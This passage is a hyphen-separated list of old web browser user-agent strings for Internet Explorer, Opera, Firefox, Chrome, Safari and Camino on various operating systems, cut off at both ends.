Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0C; .NET4.0E) chromeframe/8.0.552.224 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; msn OptimizedIE8;ZHCN) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; en) Opera 10.62 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) -Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; de) Opera 10.62 -Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0) -Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.0) -Mozilla/4.61 (Macintosh; I; PPC) -Mozilla/4.61 [en] (OS/2; U) -Mozilla/4.7 (compatible; OffByOne; Windows 2000) -Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1) -Mozilla/4.79 [en] (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) -Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC) -Mozilla/4.8 [en] (Windows NT 5.0; U) -Mozilla/5.0 (Linux i686 ; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.70 -Mozilla/5.0 (Linux i686; U; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 -Mozilla/5.0 (Linux; U; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) -Mozilla/5.0 (Macintosh; I; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.0 Safari/534.24 -Mozilla/5.0 (Macintosh; Intel Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.10) Gecko/2009122115 Firefox/3.0.17 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20090204 Firefox/3.1b3pre -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9b4) Gecko/2008030317 Firefox/3.0b4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.0.13) Gecko/2009073021 Firefox/3.0.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 GTB5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/ Safari/530.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.9 (KHTML, like Gecko) Chrome/ Safari/530.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/528.10+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.192 Safari/531.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.1 Safari/530.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/4.0.1 Safari/530.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.422.0 Safari/534.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.3 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; es-es) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fi-fi) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fr-fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; nl-nl) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-tw) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.4 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.11 Safari/532.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; nl-nl) AppleWebKit/532.3+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; de-at) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.70 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ru-ru) AppleWebKit/533.2+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ca-es) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; de-de) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; el-gr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.363.0 Safari/533.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.456.0 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-au) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/533.4+ (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/534.1+ (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ko-kr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ru-ru) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; zh-cn) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.414.0 Safari/534.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.210 Safari/534.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.0 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.451.0 Safari/534.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; fr-FR) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.639.0 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.660.0 Safari/534.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/533.4 (KHTML, like Gecko) Version/4.1 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 -Mozilla/5.0 (Macintosh; U; Mac OS X 10_5_7; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 -Mozilla/5.0 (Macintosh; U; Mac OS X 10_6_1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081212 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; da-dk) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de-de) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; hu-hu) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; tr) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9.2009 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060214 Camino/1.0 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060427 Camino/1.0.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060613 Camino/1.0.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/521.25 (KHTML, like Gecko) Safari/521.24 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like 